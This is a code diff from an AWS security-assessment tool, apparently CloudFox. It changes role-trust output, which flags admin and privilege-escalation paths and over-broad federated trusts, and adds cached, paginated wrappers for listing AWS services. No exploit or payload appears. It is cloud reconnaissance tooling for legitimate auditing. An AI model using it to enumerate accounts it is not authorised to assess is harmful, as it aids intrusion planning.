internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
fmt.Printf("[%s][%s] %s role trusts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
// sort the rows based on column 2 (service)
sort.SliceStable(body, func(i, j int) bool {
return body[i][1] < body[j][1]
})
} else {
fmt.Printf("[%s][%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
//m.sortTrustsTablePerTrustedPrincipal()
return header, body
// if len(m.output.Body) > 0 {
// m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", aws.ToString(m.Caller.Account),m.AWSProfile))
// //m.output.OutputSelector(outputFormat)
// //utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
// internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
// fmt.Printf("[%s][%s] %s role trusts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
// } else {
// fmt.Printf("[%s][%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// }
}
func (m *RoleTrustsModule) printFederatedTrusts(outputFormat string, outputDirectory string) {
func (m *RoleTrustsModule) printFederatedTrusts(outputFormat string, outputDirectory string) ([]string, [][]string) {
var header []string
var body [][]string
m.output.FullFilename = ""
m.output.Body = nil
m.output.CallingModule = "role-trusts"
m.output.FullFilename = "role-trusts-federated"
var column3, column2 string
m.output.Headers = []string{
"Role",
"Trusted Provider",
"Trusted Subject",
"IsAdmin?",
"CanPrivEscToAdmin?",
var column1, column3, column2 string
if m.pmapperError == nil {
header = []string{
"Role",
"Trusted Provider",
"Trusted Subject",
"IsAdmin?",
"CanPrivEscToAdmin?",
}
} else {
header = []string{
"Role",
"Trusted Provider",
"Trusted Subject",
"IsAdmin?",
//"CanPrivEscToAdmin?",
}
}
for _, role := range m.AnalyzedRoles {
column1 := aws.ToString(role.roleARN)
if outputFormat == "wide" {
column1 = aws.ToString(role.roleARN)
} else {
column1 = GetResourceNameFromArn(aws.ToString(role.roleARN))
}
for _, statement := range role.trustsDoc.Statement {
if len(statement.Principal.Federated) > 0 {
column2, column3 = parseFederatedTrustPolicy(statement)
column4 := role.Admin
column5 := role.CanPrivEsc
m.output.Body = append(m.output.Body, []string{column1, column2, column3, column4, column5})
if m.pmapperError == nil {
body = append(body, []string{column1, column2, column3, column4, column5})
} else {
body = append(body, []string{column1, column2, column3, column4})
}
}
}
}
m.sortTrustsTablePerTrustedPrincipal()
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
//m.output.OutputSelector(outputFormat)
//utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
fmt.Printf("[%s][%s] %s role trusts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
return header, body
} else {
fmt.Printf("[%s][%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
// if len(m.output.Body) > 0 {
// m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", aws.ToString(m.Caller.Account),m.AWSProfile))
// //m.output.OutputSelector(outputFormat)
// //utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
// internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
// fmt.Printf("[%s][%s] %s role trusts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
// } else {
// fmt.Printf("[%s][%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// }
}
func parseFederatedTrustPolicy(statement RoleTrustStatementEntry) (string, string) {
var column2, column3 string
if statement.Condition.StringLike.TokenActionsGithubusercontentComAud != "" || len(statement.Condition.StringLike.TokenActionsGithubusercontentComSub) > 0 {
column2 = "GitHub Actions (" + statement.Principal.Federated[0] + ")"
column2 = "GitHub Actions" // (" + statement.Principal.Federated[0] + ")"
trustedRepos := strings.Join(statement.Condition.StringLike.TokenActionsGithubusercontentComSub, "\n")
if trustedRepos == "" {
column3 = "ALL REPOS!!!"
@@ -256,13 +373,13 @@ func parseFederatedTrustPolicy(statement RoleTrustStatementEntry) (string, strin
}
} else if statement.Condition.StringEquals.SAMLAud == "https://signin.aws.amazon.com/saml" {
if strings.Contains(statement.Principal.Federated[0], "AWSSSO") {
column2 = "AWS SSO (" + statement.Principal.Federated[0] + ")"
column2 = "AWS SSO" // (" + statement.Principal.Federated[0] + ")"
} else if strings.Contains(statement.Principal.Federated[0], "Okta") {
column2 = "Okta (" + statement.Principal.Federated[0] + ")"
column2 = "Okta" // (" + statement.Principal.Federated[0] + ")"
}
column3 = "Not applicable"
} else if statement.Condition.StringEquals.OidcEksAud != "" || statement.Condition.StringEquals.OidcEksSub != "" || statement.Condition.StringLike.OidcEksAud != "" || statement.Condition.StringLike.OidcEksSub != "" {
column2 = "EKS (" + statement.Principal.Federated[0] + ")"
column2 = "EKS" // (" + statement.Principal.Federated[0] + ")"
if statement.Condition.StringEquals.OidcEksSub != "" {
column3 = statement.Condition.StringEquals.OidcEksSub
} else if statement.Condition.StringLike.OidcEksSub != "" {
@@ -271,16 +388,16 @@ func parseFederatedTrustPolicy(statement RoleTrustStatementEntry) (string, strin
column3 = "ALL SERVICE ACCOUNTS!"
}
} else if statement.Principal.Federated[0] == "cognito-identity.amazonaws.com" {
column2 = "Cognito (" + statement.Principal.Federated[0] + ")"
column2 = "Cognito" // (" + statement.Principal.Federated[0] + ")"
if statement.Condition.ForAnyValueStringLike.CognitoAMR != "" {
column3 = statement.Condition.ForAnyValueStringLike.CognitoAMR
}
} else {
if column2 == "" && strings.Contains(statement.Principal.Federated[0], "oidc.eks") {
column2 = "EKS (" + statement.Principal.Federated[0] + ")"
column2 = "EKS" // (" + statement.Principal.Federated[0] + ")"
column3 = "ALL SERVICE ACCOUNTS!"
} else if column2 == "" && strings.Contains(statement.Principal.Federated[0], "AWSSSO") {
column2 = "AWS SSO (" + statement.Principal.Federated[0] + ")"
column2 = "AWS SSO" // (" + statement.Principal.Federated[0] + ")"
}
}
@@ -297,50 +414,31 @@ func (m *RoleTrustsModule) sortTrustsTablePerTrustedPrincipal() {
}
func (m *RoleTrustsModule) getAllRoleTrusts() {
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationMarker *string
ListRoles, err := sdk.CachedIamListRoles(m.IAMClient, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
// This for loop exits at the end depending on whether the output hits its last page (see pagination control block at the end of the loop).
for {
results, err := m.IAMClientListRoles.ListRoles(
context.TODO(),
&iam.ListRolesInput{
Marker: PaginationMarker,
},
)
for _, role := range ListRoles {
trustsdoc, err := parseRoleTrustPolicyDocument(role)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
for _, role := range results.Roles {
trustsdoc, err := parseRoleTrustPolicyDocument(role)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
if role.Arn != nil {
m.AnalyzedRoles = append(m.AnalyzedRoles, AnalyzedRole{
roleARN: role.Arn,
trustsDoc: trustsdoc,
Admin: "",
CanPrivEsc: "",
})
}
if role.Arn != nil {
m.AnalyzedRoles = append(m.AnalyzedRoles, AnalyzedRole{
roleARN: role.Arn,
trustsDoc: trustsdoc,
Admin: "",
CanPrivEsc: "",
})
}
// Pagination control. After the last page of output, the for loop exits.
if results.IsTruncated {
PaginationMarker = results.Marker
} else {
PaginationMarker = nil
break
}
}
}
func parseRoleTrustPolicyDocument(role types.Role) (trustPolicyDocument, error) {
+19 -3
View File
@@ -83,11 +83,27 @@ func (m *Route53Module) PrintRoute53(outputFormat string, outputDirectory string
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector(outputFormat)
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
m.writeLoot(m.output.FilePath, verbosity)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s DNS records found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
+56
View File
@@ -0,0 +1,56 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/apigateway"
apiGatewayTypes "github.com/aws/aws-sdk-go-v2/service/apigateway/types"
)
type APIGatewayClientInterface interface {
GetRestApis(context.Context, *apigateway.GetRestApisInput, ...func(*apigateway.Options)) (*apigateway.GetRestApisOutput, error)
}
func RegisterApiGatewayTypes() {
gob.Register([]apiGatewayTypes.RestApi{})
}
// create a CachedApiGatewayGetRestAPIs function that accepts a client, account id, region. Make sure it handles caching, the region option and pagination
func CachedApiGatewayGetRestAPIs(client APIGatewayClientInterface, accountID string, region string) ([]apiGatewayTypes.RestApi, error) {
var PaginationControl *string
var restAPIs []apiGatewayTypes.RestApi
cacheKey := fmt.Sprintf("%s-apigateway-GetRestApis-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]apiGatewayTypes.RestApi), nil
}
for {
GetRestApis, err := client.GetRestApis(
context.TODO(),
&apigateway.GetRestApisInput{
Position: PaginationControl,
},
func(o *apigateway.Options) {
o.Region = region
},
)
if err != nil {
return restAPIs, err
}
restAPIs = append(restAPIs, GetRestApis.Items...)
//pagination
if GetRestApis.Position == nil {
break
}
PaginationControl = GetRestApis.Position
}
return restAPIs, nil
}
+57
View File
@@ -0,0 +1,57 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/apigatewayv2"
apiGatwayV2Types "github.com/aws/aws-sdk-go-v2/service/apigatewayv2/types"
"github.com/patrickmn/go-cache"
)
type APIGatewayv2ClientInterface interface {
GetApis(context.Context, *apigatewayv2.GetApisInput, ...func(*apigatewayv2.Options)) (*apigatewayv2.GetApisOutput, error)
}
func RegisterApiGatewayV2Types() {
gob.Register([]apiGatwayV2Types.Api{})
}
func CachedAPIGatewayv2GetAPIs(client APIGatewayv2ClientInterface, accountID string, region string) ([]apiGatwayV2Types.Api, error) {
var PaginationControl *string
var apis []apiGatwayV2Types.Api
cacheKey := fmt.Sprintf("%s-apigatewayv2-GetApis-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]apiGatwayV2Types.Api), nil
}
for {
GetApis, err := client.GetApis(
context.TODO(),
&apigatewayv2.GetApisInput{
NextToken: PaginationControl,
},
func(o *apigatewayv2.Options) {
o.Region = region
},
)
if err != nil {
return apis, err
}
apis = append(apis, GetApis.Items...)
//pagination
if GetApis.NextToken == nil {
break
}
PaginationControl = GetApis.NextToken
}
internal.Cache.Set(cacheKey, apis, cache.DefaultExpiration)
return apis, nil
}
+57
View File
@@ -0,0 +1,57 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/apprunner"
apprunnerTypes "github.com/aws/aws-sdk-go-v2/service/apprunner/types"
"github.com/patrickmn/go-cache"
)
type AppRunnerClientInterface interface {
ListServices(context.Context, *apprunner.ListServicesInput, ...func(*apprunner.Options)) (*apprunner.ListServicesOutput, error)
}
func RegisterApprunnerTypes() {
gob.Register([]apprunnerTypes.Service{})
gob.Register([]apprunnerTypes.ServiceSummary{})
}
func CachedAppRunnerListServices(client AppRunnerClientInterface, accountID string, region string) ([]apprunnerTypes.ServiceSummary, error) {
var PaginationControl *string
var services []apprunnerTypes.ServiceSummary
cacheKey := fmt.Sprintf("%s-apprunner-ListServices-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]apprunnerTypes.ServiceSummary), nil
}
for {
ListServices, err := client.ListServices(
context.TODO(),
&apprunner.ListServicesInput{
NextToken: PaginationControl,
},
func(o *apprunner.Options) {
o.Region = region
},
)
if err != nil {
return services, err
}
services = append(services, ListServices.ServiceSummaryList...)
//pagination
if ListServices.NextToken == nil {
break
}
PaginationControl = ListServices.NextToken
}
internal.Cache.Set(cacheKey, services, cache.DefaultExpiration)
return services, nil
}
+119
View File
@@ -0,0 +1,119 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/cloudformation"
cloudFormationTypes "github.com/aws/aws-sdk-go-v2/service/cloudformation/types"
"github.com/patrickmn/go-cache"
)
type CloudFormationClientInterface interface {
GetTemplate(context.Context, *cloudformation.GetTemplateInput, ...func(*cloudformation.Options)) (*cloudformation.GetTemplateOutput, error)
DescribeStacks(context.Context, *cloudformation.DescribeStacksInput, ...func(*cloudformation.Options)) (*cloudformation.DescribeStacksOutput, error)
ListStacks(context.Context, *cloudformation.ListStacksInput, ...func(*cloudformation.Options)) (*cloudformation.ListStacksOutput, error)
}
func RegisterCloudFormationTypes() {
gob.Register([]cloudFormationTypes.Stack{})
gob.Register([]cloudFormationTypes.StackSummary{})
}
func CachedCloudFormationDescribeStacks(client CloudFormationClientInterface, accountID string, region string) ([]cloudFormationTypes.Stack, error) {
var PaginationControl *string
var stacks []cloudFormationTypes.Stack
cacheKey := fmt.Sprintf("%s-cloudformation-DescribeStacks-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]cloudFormationTypes.Stack), nil
}
for {
DescribeStacks, err := client.DescribeStacks(
context.TODO(),
&cloudformation.DescribeStacksInput{
NextToken: PaginationControl,
},
func(o *cloudformation.Options) {
o.Region = region
},
)
if err != nil {
return stacks, err
}
stacks = append(stacks, DescribeStacks.Stacks...)
//pagination
if DescribeStacks.NextToken == nil {
break
}
PaginationControl = DescribeStacks.NextToken
}
internal.Cache.Set(cacheKey, stacks, cache.DefaultExpiration)
return stacks, nil
}
func CachedCloudFormationGetTemplate(client CloudFormationClientInterface, accountID string, region string, stackName string) (string, error) {
var stackTemplateBody string
cacheKey := fmt.Sprintf("%s-cloudformation-GetTemplate-%s-%s", accountID, region, stackName)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.(string), nil
}
GetTemplate, err := client.GetTemplate(
context.TODO(),
&cloudformation.GetTemplateInput{
StackName: &stackName,
}, func(o *cloudformation.Options) {
o.Region = region
},
)
if err != nil {
return stackTemplateBody, err
}
stackTemplateBody = aws.ToString(GetTemplate.TemplateBody)
internal.Cache.Set(cacheKey, *GetTemplate.TemplateBody, cache.DefaultExpiration)
return stackTemplateBody, nil
}
func CachedCloudFormationListStacks(client CloudFormationClientInterface, accountID string, region string) ([]cloudFormationTypes.StackSummary, error) {
var PaginationControl *string
var stacks []cloudFormationTypes.StackSummary
cacheKey := fmt.Sprintf("%s-cloudformation-ListStacks-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]cloudFormationTypes.StackSummary), nil
}
for {
ListStacks, err := client.ListStacks(
context.TODO(),
&cloudformation.ListStacksInput{
NextToken: PaginationControl,
},
func(o *cloudformation.Options) {
o.Region = region
},
)
if err != nil {
return stacks, err
}
stacks = append(stacks, ListStacks.StackSummaries...)
//pagination
if ListStacks.NextToken == nil {
break
}
PaginationControl = ListStacks.NextToken
}
internal.Cache.Set(cacheKey, stacks, cache.DefaultExpiration)
return stacks, nil
}
+118
View File
@@ -0,0 +1,118 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/codebuild"
codeBuildTypes "github.com/aws/aws-sdk-go-v2/service/codebuild/types"
"github.com/patrickmn/go-cache"
)
type CodeBuildClientInterface interface {
ListProjects(ctx context.Context, params *codebuild.ListProjectsInput, optFns ...func(*codebuild.Options)) (*codebuild.ListProjectsOutput, error)
BatchGetProjects(ctx context.Context, params *codebuild.BatchGetProjectsInput, optFns ...func(*codebuild.Options)) (*codebuild.BatchGetProjectsOutput, error)
GetResourcePolicy(ctx context.Context, params *codebuild.GetResourcePolicyInput, optFns ...func(*codebuild.Options)) (*codebuild.GetResourcePolicyOutput, error)
}
func RegisterCodeBuildTypes() {
gob.Register(codeBuildTypes.Project{})
}
// create a CachedCodeBuildListProjects function that accepts a codebuild client, account id, and region. Make sure it handles the region option and pagination
func CachedCodeBuildListProjects(CodeBuildClient CodeBuildClientInterface, accountID string, region string) ([]string, error) {
var PaginationControl *string
var projects []string
cacheKey := fmt.Sprintf("%s-codebuild-ListProjects", accountID)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]string), nil
}
for {
ListProjects, err := CodeBuildClient.ListProjects(
context.TODO(),
&codebuild.ListProjectsInput{
NextToken: PaginationControl,
},
func(o *codebuild.Options) {
o.Region = region
},
)
if err != nil {
sharedLogger.Error(err.Error())
break
}
projects = append(projects, ListProjects.Projects...)
// Pagination control.
if ListProjects.NextToken != nil {
PaginationControl = ListProjects.NextToken
} else {
PaginationControl = nil
break
}
}
internal.Cache.Set(cacheKey, projects, cache.DefaultExpiration)
return projects, nil
}
// create a CachedCodeBuildBatchGetProjects function that accepts a codebuild client, account id, region, and a single projectId. Make sure it handles the region option and pagination
func CachedCodeBuildBatchGetProjects(CodeBuildClient CodeBuildClientInterface, accountID string, region string, projectID string) (codeBuildTypes.Project, error) {
project := codeBuildTypes.Project{}
cacheKey := fmt.Sprintf("%s-codebuild-BatchGetProjects-%s-%s", accountID, region, projectID)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.(codeBuildTypes.Project), nil
}
BatchGetProjects, err := CodeBuildClient.BatchGetProjects(
context.TODO(),
&codebuild.BatchGetProjectsInput{
Names: []string{projectID},
},
func(o *codebuild.Options) {
o.Region = region
},
)
if err != nil {
sharedLogger.Error(err.Error())
return project, err
}
internal.Cache.Set(cacheKey, BatchGetProjects.Projects[0], cache.DefaultExpiration)
return BatchGetProjects.Projects[0], nil
}
// create a CachedCodeBuildGetResourcePolicy function that accepts a codebuild client, account id, region, and a single projectId. Make sure it handles the region option and pagination
func CachedCodeBuildGetResourcePolicy(CodeBuildClient CodeBuildClientInterface, accountID string, region string, projectID string) (string, error) {
cacheKey := fmt.Sprintf("%s-codebuild-GetResourcePolicy-%s-%s", accountID, region, projectID)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.(string), nil
}
GetResourcePolicy, err := CodeBuildClient.GetResourcePolicy(
context.TODO(),
&codebuild.GetResourcePolicyInput{
ResourceArn: aws.String("arn:aws:codebuild:" + region + ":" + accountID + ":project/" + projectID),
},
func(o *codebuild.Options) {
o.Region = region
},
)
if err != nil {
sharedLogger.Error(err.Error())
return "", err
}
internal.Cache.Set(cacheKey, GetResourcePolicy, cache.DefaultExpiration)
return aws.ToString(GetResourcePolicy.Policy), nil
}
+141
View File
@@ -0,0 +1,141 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/docdb"
docdbTypes "github.com/aws/aws-sdk-go-v2/service/docdb/types"
"github.com/patrickmn/go-cache"
)
type DocDBClientInterface interface {
DescribeGlobalClusters(context.Context, *docdb.DescribeGlobalClustersInput, ...func(*docdb.Options)) (*docdb.DescribeGlobalClustersOutput, error)
DescribeDBClusters(context.Context, *docdb.DescribeDBClustersInput, ...func(*docdb.Options)) (*docdb.DescribeDBClustersOutput, error)
DescribeDBInstances(context.Context, *docdb.DescribeDBInstancesInput, ...func(*docdb.Options)) (*docdb.DescribeDBInstancesOutput, error)
}
func RegisterDocDBTypes() {
gob.Register([]docdbTypes.GlobalCluster{})
gob.Register([]docdbTypes.DBCluster{})
//gob.Register([]docdbTypes.DBInstance{})
}
func CachedDocDBDescribeGlobalClusters(client DocDBClientInterface, accountID string, region string) ([]docdbTypes.GlobalCluster, error) {
var PaginationControl *string
var globalClusters []docdbTypes.GlobalCluster
cacheKey := fmt.Sprintf("%s-docdb-DescribeGlobalClusters-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]docdbTypes.GlobalCluster), nil
}
for {
DescribeGlobalClusters, err := client.DescribeGlobalClusters(
context.TODO(),
&docdb.DescribeGlobalClustersInput{
Marker: PaginationControl,
},
func(o *docdb.Options) {
o.Region = region
},
)
if err != nil {
return globalClusters, err
}
globalClusters = append(globalClusters, DescribeGlobalClusters.GlobalClusters...)
//pagination
if DescribeGlobalClusters.Marker == nil {
break
}
PaginationControl = DescribeGlobalClusters.Marker
}
internal.Cache.Set(cacheKey, globalClusters, cache.DefaultExpiration)
return globalClusters, nil
}
func CachedDocDBDescribeDBClusters(client DocDBClientInterface, accountID string, region string) ([]docdbTypes.DBCluster, error) {
var PaginationControl *string
var dbClusters []docdbTypes.DBCluster
cacheKey := fmt.Sprintf("%s-docdb-DescribeDBClusters-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]docdbTypes.DBCluster), nil
}
for {
DescribeDBClusters, err := client.DescribeDBClusters(
context.TODO(),
&docdb.DescribeDBClustersInput{
Marker: PaginationControl,
Filters: []docdbTypes.Filter{
{
Name: aws.String("engine"),
Values: []string{"docdb"},
},
},
},
func(o *docdb.Options) {
o.Region = region
},
)
if err != nil {
return dbClusters, err
}
dbClusters = append(dbClusters, DescribeDBClusters.DBClusters...)
//pagination
if DescribeDBClusters.Marker == nil {
break
}
PaginationControl = DescribeDBClusters.Marker
}
internal.Cache.Set(cacheKey, dbClusters, cache.DefaultExpiration)
return dbClusters, nil
}
func CachedDocDBDescribeDBInstances(client DocDBClientInterface, accountID string, region string) ([]docdbTypes.DBInstance, error) {
var PaginationControl *string
var dbInstances []docdbTypes.DBInstance
cacheKey := fmt.Sprintf("%s-docdb-DescribeDBInstances-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]docdbTypes.DBInstance), nil
}
for {
DescribeDBInstances, err := client.DescribeDBInstances(
context.TODO(),
&docdb.DescribeDBInstancesInput{
Marker: PaginationControl,
},
func(o *docdb.Options) {
o.Region = region
},
)
if err != nil {
return dbInstances, err
}
dbInstances = append(dbInstances, DescribeDBInstances.DBInstances...)
//pagination
if DescribeDBInstances.Marker == nil {
break
}
PaginationControl = DescribeDBInstances.Marker
}
internal.Cache.Set(cacheKey, dbInstances, cache.DefaultExpiration)
return dbInstances, nil
}
+85
View File
@@ -0,0 +1,85 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/dynamodb"
dynamoDBTypes "github.com/aws/aws-sdk-go-v2/service/dynamodb/types"
"github.com/patrickmn/go-cache"
)
type DynamoDBClientInterface interface {
ListTables(context.Context, *dynamodb.ListTablesInput, ...func(*dynamodb.Options)) (*dynamodb.ListTablesOutput, error)
DescribeTable(context.Context, *dynamodb.DescribeTableInput, ...func(*dynamodb.Options)) (*dynamodb.DescribeTableOutput, error)
}
func RegisterDynamoDBTypes() {
gob.Register([]string{})
gob.Register(dynamoDBTypes.TableDescription{})
}
func CachedDynamoDBListTables(client DynamoDBClientInterface, accountID string, region string) ([]string, error) {
var PaginationControl *string
var tables []string
cacheKey := fmt.Sprintf("%s-dynamodb-ListTables-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]string), nil
}
for {
ListTables, err := client.ListTables(
context.TODO(),
&dynamodb.ListTablesInput{
ExclusiveStartTableName: PaginationControl,
},
func(o *dynamodb.Options) {
o.Region = region
},
)
if err != nil {
return tables, err
}
tables = append(tables, ListTables.TableNames...)
//pagination
if ListTables.LastEvaluatedTableName == nil {
break
}
PaginationControl = ListTables.LastEvaluatedTableName
}
internal.Cache.Set(cacheKey, tables, cache.DefaultExpiration)
return tables, nil
}
func CachedDynamoDBDescribeTable(client DynamoDBClientInterface, accountID string, region string, tableName string) (dynamoDBTypes.TableDescription, error) {
var tableDescription dynamoDBTypes.TableDescription
cacheKey := fmt.Sprintf("%s-dynamodb-DescribeTable-%s-%s", accountID, region, tableName)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.(dynamoDBTypes.TableDescription), nil
}
DescribeTable, err := client.DescribeTable(
context.TODO(),
&dynamodb.DescribeTableInput{
TableName: &tableName,
},
func(o *dynamodb.Options) {
o.Region = region
},
)
if err != nil {
return tableDescription, err
}
tableDescription = *DescribeTable.Table
internal.Cache.Set(cacheKey, tableDescription, cache.DefaultExpiration)
return tableDescription, nil
}
+58
View File
@@ -0,0 +1,58 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/ec2"
ec2Types "github.com/aws/aws-sdk-go-v2/service/ec2/types"
"github.com/patrickmn/go-cache"
)
type EC2ClientInterface interface {
DescribeInstances(context.Context, *ec2.DescribeInstancesInput, ...func(*ec2.Options)) (*ec2.DescribeInstancesOutput, error)
}
func RegisterEC2Types() {
gob.Register([]ec2Types.Instance{})
}
func CachedEC2DescribeInstances(client EC2ClientInterface, accountID string, region string) ([]ec2Types.Instance, error) {
var PaginationControl *string
var instances []ec2Types.Instance
cacheKey := fmt.Sprintf("%s-ec2-DescribeInstances-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]ec2Types.Instance), nil
}
for {
DescribeInstances, err := client.DescribeInstances(
context.TODO(),
&ec2.DescribeInstancesInput{
NextToken: PaginationControl,
},
func(o *ec2.Options) {
o.Region = region
},
)
if err != nil {
return instances, err
}
for _, reservation := range DescribeInstances.Reservations {
instances = append(instances, reservation.Instances...)
}
//pagination
if DescribeInstances.NextToken == nil {
break
}
PaginationControl = DescribeInstances.NextToken
}
internal.Cache.Set(cacheKey, instances, cache.DefaultExpiration)
return instances, nil
}
+136
View File
@@ -0,0 +1,136 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"strings"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/ecr"
ecrTypes "github.com/aws/aws-sdk-go-v2/service/ecr/types"
"github.com/patrickmn/go-cache"
)
type AWSECRClientInterface interface {
DescribeRepositories(ctx context.Context, params *ecr.DescribeRepositoriesInput, optFns ...func(*ecr.Options)) (*ecr.DescribeRepositoriesOutput, error)
DescribeImages(ctx context.Context, params *ecr.DescribeImagesInput, optFns ...func(*ecr.Options)) (*ecr.DescribeImagesOutput, error)
GetRepositoryPolicy(ctx context.Context, params *ecr.GetRepositoryPolicyInput, optFns ...func(*ecr.Options)) (*ecr.GetRepositoryPolicyOutput, error)
}
func RegisterECRTypes() {
gob.Register([]ecrTypes.Repository{})
gob.Register([]ecrTypes.ImageDetail{})
}
// create a CachedECRDescribeRepositories function that uses go-cache line the other Cached* functions. It should accept a ecr client, account id, and region. Make sure it handles the region option and pagination if needed
func CachedECRDescribeRepositories(ECRClient AWSECRClientInterface, accountID string, region string) ([]ecrTypes.Repository, error) {
var PaginationControl *string
var repositories []ecrTypes.Repository
cacheKey := fmt.Sprintf("%s-ecr-DescribeRepositories-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached ECR repositories data")
return cached.([]ecrTypes.Repository), nil
}
for {
DescribeRepositories, err := ECRClient.DescribeRepositories(
context.TODO(),
&ecr.DescribeRepositoriesInput{
NextToken: PaginationControl,
},
func(o *ecr.Options) {
o.Region = region
},
)
if err != nil {
